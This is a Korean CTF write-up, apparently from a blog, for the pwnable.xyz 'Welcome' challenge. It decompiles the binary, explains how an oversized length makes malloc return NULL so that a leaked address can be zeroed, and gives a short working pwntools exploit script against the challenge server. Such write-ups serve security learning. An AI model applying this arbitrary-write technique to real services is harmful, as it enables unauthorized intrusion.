

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

"Welcome."와 어떤 주소를 출력 해주고 메세지의 길이와 메세지를 받은 후 출력까지 해준다.
main함수부터 확인해주자.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
__int64 v4; // rdx
char *v5; // rbp
__int64 v6; // rdx
size_t v7; // rdx
size_t size; // [rsp+0h] [rbp-28h]
unsigned __int64 v10; // [rsp+8h] [rbp-20h]
v10 = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
}
v3에 malloc으로 0x40000byte만큼 메모리를 할당해준 후 *v3에 1을 넣어준다.
아까 출력됐던 주소는 이 메모리의 주소이다.
size변수에 8byte 정수값을 입력 받고 v5에 입력 받은 크기만큼 malloc으로 메모리를 할당해준다.
그 후 v5에 read를 이용해 size만큼 입력을 받고 마지막에 널문자를 추가하고 write로 화면에 출력한다.
만약 *v3이 0이면 바로 "cat /flag"를 해준다.
v5의 size를 임의로 조정할 수 있으니까 v3까지 덮을 수 있는지 먼저 확인해보자.

v3는 0x7ffff7f98010에 할당되었고 v5는 0x555555757010에 할당되는 것을 보아 v5에 입력 받은 값으로 v3을 덮는 것은 힘들 것 같다.
※gdb에서 분석 할 때 symbol이 없는 경우 메모리는 0x555555554000 + offset에 mapping된다.
size는 unsigend int로 입력해줘서 음수를 입력하는 것은 불가능하다. 그러면 size에 엄청 큰 값을 입력하면 어떻게 될까?
malloc(size)가 실패할 것이고 malloc은 NULL을 return한다.
즉, v5의 주소를 가지고 있던 rbp가 0이 되고 "v5[size - 1] = 0" 때문에 내가 원하는 주소에 0을 입력할 수 있게 된다.
여기서는 Leak된 v3의 주소 + 1의 값을 size로 넣어주기만 하면 된다.
[payload]
from pwn import *
r = remote("svc.pwnable.xyz", 30000)
#r = process("./challenge")
r.recvuntil("0x")
leak = r.recv(12)
r.sendlineafter(": ", str(int(leak, 16)+1))
r.sendlineafter(": ", "hihi")
r.interactive()

음.. 문제에서 굳이 스크립트를 짜야 되나고 물어봤으니까 스크립트 없이도 한번 더 풀어줬다.

'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] note (0) | 2020.05.08 |
---|---|
[pwnable.xyz] GrowUp (0) | 2020.04.25 |
[pwnable.xyz] misalignment (0) | 2020.04.17 |
[pwnable.xyz] add (0) | 2020.04.16 |
[pwnable.xyz] sub (0) | 2020.04.13 |